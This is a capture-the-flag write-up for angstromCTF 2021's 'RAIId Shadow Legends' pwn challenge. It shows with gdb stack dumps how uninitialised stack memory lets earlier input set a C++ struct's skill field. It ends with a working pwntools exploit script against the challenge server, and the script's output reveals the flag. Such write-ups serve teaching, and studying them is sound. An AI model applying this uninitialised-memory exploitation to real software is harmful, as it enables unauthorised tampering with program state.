RAIId Shadow Legends - Pwn
Challenge: RAIId Shadow Legends
Author: Ve
Description: C++ RAII in action
CTF: angstromCTF 2021
Category: Pwn
Challenge description
I love how C++ initializes everything for you. It makes things so easy and fun!
Speaking of fun, play our fun new game RAIId Shadow Legends
(source) at /problems/2021/raiid_shadow_legends on the shell server, or connect with nc shell.actf.co 21300.
Hint: Resource acquisition is initialization, so everything I acquired should be initialized, right?
Analysis
raiid_shadow_legends.cpp and raiid_shadow_legends (executable) are provided. 
 
The binary is made up of a struct 
struct character {
    int health;
    int skill;
    long tokens;
    string name;
};and three functions: 
void playvoid terms_and_conditionsint main.
Due to RAII principles, everything that the program acquires is initialized and in the code there are no initialization, only declarations. 
 
The codeflow is simple and obliged: 
main->terms_and_conditions->play.
The functionplayprints the flag, under certain conditions.
In order to proceed further from the main function, we must input 1. 
terms_and_conditions declares two strings, agreement and signature,  and requires them in input. 
To proceed further, the only constraint is that we input yes when asked for the agreement.  
play declares a string action and a struct character player. 
It asks for a name (player.name) and repeatedly asks for an action (action) to perform. 
 
action 1 and 3 are completely useless, and the second one prints the flag if and only if the player.skill field is set to 1337. 
 
There is no intended way in which we can change player.skill value. 
We can’t manipulate it by overflowing the stack since the inputs are all managed by c++ strings, 
but player.skill, along the others variables, is allocated on the stack. 
 
We run gdb raiid_shadow_legends and give this commands: 
break *terms_and_conditions+246
break *terms_and_conditions+273
break *play+395
define hook-stop
x/30wx $rsp
end
NOTE:
continueinstruction will not be part of this writeup
It prompts for the action, and we input 1 
We can see that, after the first breakpoint, the stack contains the following values: 
0x7fffffffdf10: 0xffffdf20      0x00007fff      0x00000000      0x00000000
0x7fffffffdf20: 0x00000000      0x00000000      0xf7f1d97a      0x00007fff
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000000      0x00000000
0x7fffffffdf40: 0xffffdf00      0x00007fff      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x733bfa00      0x8f838232
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x55555856      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
NOTE: You can see the
1(0x00000031) at address0x7fffffffdf90
It prompts for the agreement, and we input AAAAAAAA, which is 0x41414141 0x41414141, and never forget \x00 
0x7fffffffdf10: 0xffffdf20      0x00007fff      0x00000000      0x00000000
0x7fffffffdf20: 0x41414141      0x41414141      0xf7f1d900      0x00007fff
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000000      0x00000000
0x7fffffffdf40: 0xffffdf00      0x00007fff      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x733bfa00      0x8f838232
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x55555856      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
NOTE: You can see our input at address
0x7fffffffdf20and0x7fffffffdf24
In order to proceed further, we must input yes, and so we do. 
0x7fffffffdf10: 0xffffdf20      0x00007fff      0x00000000      0x00000000
0x7fffffffdf20: 0x00736579      0x41414141      0xf7f1d900      0x00007fff
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000000      0x00000000
0x7fffffffdf40: 0xffffdf00      0x00007fff      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x733bfa00      0x8f838232
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x55555856      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
yes bytes (\x79\x65\x73\x00) overridden the first four As. They are reversed because the binary is little endian. 
 
It prompts for the signature, our name and the action, we enter BBBB, CCCC, and DDDD respectively. 
It says  
Welcome, CCCC. Skill level: 1094795585
NOTE: (
1094795585is the decimal for0x41414141)
It looks like we can control player.health values by agreement! 
 
Solution
Now, take a look at the struct again: 
struct character {
    int health; // This field is 4 bytes long
    int skill; // This field is 4 bytes long
    long tokens; // This field is 8 bytes long
    string name; // This field is whatever bytes long (Seriously, check this out: https://shaharmike.com/cpp/std-string/)
};In order to understand how values are handled, we’re going to input just enough to fill (when prompted for the agreement):
int character.healthint character.skilllong character.tokens.
So, 16 bytes, 16 chars. (Actually, 15 + \x00) 
Therefore, our input will be something recognizable and 15 chars long: 
AAAABBBBCCCCDDD, which is: 0x41414141 0x42424242 0x43434343 0x00444444 (remember? architecture is amd64-64-little!)
Now let’s look at the stack:
0x7fffffffdf10: 0xffffdf20      0x00007fff      0x0000000f      0x00000000
0x7fffffffdf20: 0x41414141      0x42424242      0x43434343      0x00444444
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000000      0x00000000
0x7fffffffdf40: 0xffffdf00      0x00007fff      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x733bfa00      0x8f838232
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x55555856      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
NOTE: You can see our input at address
0x7fffffffdf20
In order to proceed further, we must input yes, and so we do. 
0x7fffffffdf10: 0xffffdf20      0x00007fff      0x0000000f      0x00000000
0x7fffffffdf20: 0x00736579      0x42424242      0x43434343      0x00444444
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000000      0x00000000
0x7fffffffdf40: 0xffffdf00      0x00007fff      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x733bfa00      0x8f838232
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x55555856      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
Note:
yesbytes (\x00\x73\x65\x79) overridden the first four As.
It prompts for the signature, our name and the action, we enter EEEE (0x45454545), FFFF (0x46464646), and GGGG (0x47474747) respectively. 
It says  
Welcome, FFFF. Skill level: 1111638594
NOTE: (
1111638594is the decimal for0x42424242)
The stack: 
0x7fffffffdf00: 0xffffdf10      0x00007fff      0x00000004      0x00000000
0x7fffffffdf10: 0x47474747      0x00007f00      0x00000003      0x00000000
0x7fffffffdf20: 0x00736579      0x42424242      0x43434343      0x00444444
0x7fffffffdf30: 0xffffdf40      0x00007fff      0x00000004      0x00000000
0x7fffffffdf40: 0x46464646      0x00007f00      0x55555140      0x00005555
0x7fffffffdf50: 0x00000000      0x00000000      0x3a852500      0x9d41160a
0x7fffffffdf60: 0x55556082      0x00005555      0x00000000      0x00000000
0x7fffffffdf70: 0xffffdfc0      0x00007fff      0x5555585b      0x00005555
0x7fffffffdf80: 0xffffdf90      0x00007fff      0x00000001      0x00000000
0x7fffffffdf90: 0x00000031      0x00000000      0x00000000      0x00000000
Note: The signature
EEEE(0x45454545) is overridden in the moment in which we input other values
Note: The nameFFFF(0x46464646) is at0x7fffffffdf40
Note: The actionGGGG(0x47474747) is at0x7fffffffdf10
It’s just how the stack works, but there’s more! Why doesn’t the string start when the long ends? 
The answer is that padding is added to satisfy alignment constraints! 
It’s rare to have a struct with a sizeof equal to the sum of sizeof of each member. 
 
We see no other 0x42424242 other that the ones we gave, so our hypothesis is confirmed! 
Exploit
If we replace the 0x42424242 with the hex values of 1337, we will win!
import pwn
r = pwn.remote("shell.actf.co", 21300) # Open connection
	
r.recvuntil("do? ") # MAIN: action
r.sendline(b"1")
r.recvuntil("conditions? ") # TERMS_AND_CONDITIONS: agreement
r.sendline(b"AAAA" + pwn.p32(1337)) # b'AAAA9\x05\x00\x00'
r.recvuntil("conditions? ") # TERMS_AND_CONDITIONS: agreement
r.sendline(b"yes")
r.recvuntil("here: ") # TERMS_AND_CONDITIONS: signature
r.sendline(b"Ve")
r.recvuntil("name: ") # PLAY: name
r.sendline(b"Ve")
r.recvuntil("do? ") # PLAY: action
r.sendline(b"2")
print(r.recvline().decode().strip()) # PLAY: flag
r.close()Exploit output
It's a tough battle, but you emerge victorious. The flag has been recovered successfully: actf{great_job!_speaking_of_great_jobs,_our_sponsor_audible...}